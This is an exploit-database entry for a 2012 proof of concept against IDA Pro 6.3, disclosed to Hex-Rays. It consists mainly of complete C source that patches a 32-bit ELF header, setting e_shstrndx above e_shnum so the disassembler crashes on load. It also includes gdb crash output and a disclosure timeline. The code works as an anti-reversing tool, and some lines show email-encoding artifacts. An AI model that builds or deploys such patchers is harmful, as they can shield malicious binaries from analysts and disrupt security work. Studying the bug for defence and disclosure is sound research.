header-logo
Suggest Exploit
vendor:
IDA Pro
by:
nitr0us
N/A
CVSS
N/A
Internal Error
CWE
Product Name: IDA Pro
Affected Version From: IDA Demo 6.3
Affected Version To: IDA Pro Starter License 6.3.120531 (32-bit)
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Mac OS X, Ubuntu Linux, Windows Vista Home Premium
2012

IDA Pro 6.3 (crash due to an internal error)

The exploit causes IDA Pro 6.3 to crash due to an internal error. The root cause of the problem is the lack of validation to verify if e_shstrndx > e_shnum before referencing it.

Mitigation:

The bug was reported to Hex-Rays, and they agreed to fix it in the next release.
Source

Exploit-DB raw data:

/*
*
* IDA Pro 6.3 (crash due an internal error)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
* - nitr0us [ http://twitter.com/nitr0usmx ]
*
* Tested under:
* IDA Pro Starter License 6.3.120531 (Mac OS X)
* IDA Pro Demo            6.3.120730 (Ubuntu Linux 9.04)
* IDA Pro Demo            6.3.120730 (Mac OS X 10.7.3)
* IDA Pro Demo            6.3.120730 (Windows Vista Home Premium SP2)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in develo=
pment)
*
* Timeline:
* 21/11/2012    The bug was found on IDA Demo 6.3
* 22/11/2012    The bug was tested on IDA Pro Starter License 6.3.120531 (3=
2-bit)
* 22/11/2012    The bug was reported through the official Hex-Rays contact =
emails
* 23/11/2012    Hex-Rays replied and agreed that the bug leads to an unreco=
verable
*               state and it will be fixed on the next release
*
**************** TECHNICAL DETAILS ***********************
nitr0us@burial:~$ gdb -q idaq
(gdb) r a.out
(no debugging symbols found)

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0xb6860760 (LWP 3638)]
0xb55f7694 in default_notification_handler (reader=@0xbfbffae0,
    notif=reader_t::err_shstrndx) at reader.cpp:33
33      reader.cpp: No such file or directory.
        in reader.cpp
Current language:  auto; currently c++
(gdb)

The root cause of the problem is that there's no validation to
verify if e_shstrndx > e_shnum before referencing it.

**********************************************************
*
* [Compilation] $ gcc ida_63_elf_shield.c -o ida_63_elf_shield -Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
*         Carlos Ayala, Daemon [Thanks for test it on IDA paid $$$],=20
*         LightOS) chr1x, alt3kx, tr3w, crypkey, el_chito, nahual, beck,=20
*         sirdarkcat, NataS, ran, Fede Bossi, nediam, psymera, Rolman,=20
*         Kbrown, Bucio, p4dm3, Hector Lopez, zeus, Matias Brutti,
*         sunl3vy, Raaka_elgaupo, vendetta, raito, beavis, el5patas,=20
*         vi0let.
*
*
* http://chatsubo-labs.blogspot.com
* http://www.brainoverflow.org
*
*/

#include <sys/mman.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <time.h>

#define EI_NIDENT       16
#define ELFCLASS32      1               /* 32-bit objects */
#define ELFDATA2LSB     1               /* 2's complement, little endian */

const char e_magic[4] = { 0x7f, 'E', 'L', 'F' };

typedef uint16_t Elf32_Half;
typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Off;

typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset=
 */
  Elf32_Off     e_shoff;                /* Section header table file offset=
 */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size =
*/
  Elf32_Half    e_phnum;                /* Program header table entry count=
 */
  Elf32_Half    e_shentsize;            /* Section header table entry size =
*/
  Elf32_Half    e_shnum;                /* Section header table entry count=
 */
  Elf32_Half    e_shstrndx;             /* Section header string table inde=
x */
} Elf32_Ehdr;

int isELF(int fd);

int main(int argc, char **argv)
{
Elf32_Ehdr*header;
Elf32_Halfnew_shnum;
Elf32_Halfnew_shstrndx;
intfd;

printf("######################################################\n");
printf("#                                                    #\n");
printf("# IDA Pro 6.3 - ELF anti-debugging/reversing patcher #\n");
printf("#                      -nitr0us-                     #\n");
printf("#                                                    #\n");
printf("######################################################\n\n");

if(argc < 2){
fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]);
exit(-1);
}

if((fd = open(argv[1], O_RDWR)) == -1){
perror("open");
exit(-1);
}

if(!isELF(fd)){
close(fd);
exit(-1);
}

// Mapping to memory only the necessary bytes [sizeof(header)]
if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PRO=
T_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
perror("mmap");
close(fd);
exit(-1);
}

printf("[*] The ELF file originally has:\n");
printf("[-] Ehdr->e_shnum:    %5d (0x%.4x)\n", header->e_shnum, header->=
e_shnum);
printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", header->e_shstrndx, hea=
der->e_shstrndx);

printf("[*] Patching \"%s\" with new random() values...\n\n", argv[1]);

srand(time(NULL)); // seed for rand()

new_shnum    = (Elf32_Half) rand() % 0x1337;
new_shstrndx = (Elf32_Half) 0;

while(new_shstrndx < new_shnum)
new_shstrndx = (Elf32_Half) rand() % 0xDEAD;

header->e_shnum    = new_shnum;
header->e_shstrndx = new_shstrndx;

// Synchronize the ELF in file system with the previous memory mapped
if(msync(NULL, 0, MS_SYNC) == -1){
perror("msync");
close(fd);
exit(-1);
}

close(fd);
munmap(header, 0);

printf("[*] The patched ELF file now has:\n");
printf("[+] Ehdr->e_shnum:    %5d (0x%.4x)\n", new_shnum, new_shnum);
printf("[+] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", new_shstrndx, new_shstr=
ndx);

printf("[*] IDA Pro 6.3 should crash trying to load \"%s\"\n", argv[1]);

return 0;
}

int isELF(int fd)
{
Elf32_Ehdrheader;

if(read(fd, &header, sizeof(header)) == -1){
perror("isELF(): read");
return 0;
}

/* magic number verification */
if(memcmp(header.e_ident, e_magic, 4) != 0){
fprintf(stderr, "The argument given is not an ELF file !\n");
return 0;
}

/* 32-bit class verification */
if(header.e_ident[4] != ELFCLASS32){
fprintf(stderr, "Only 32-bit ELF files supported !\n");
return 0;
}

/* little-endian verification */
if(header.e_ident[5] != ELFDATA2LSB){
fprintf(stderr, "Only little-endian ELF files supported !\n");
return 0;
}

return 1;
}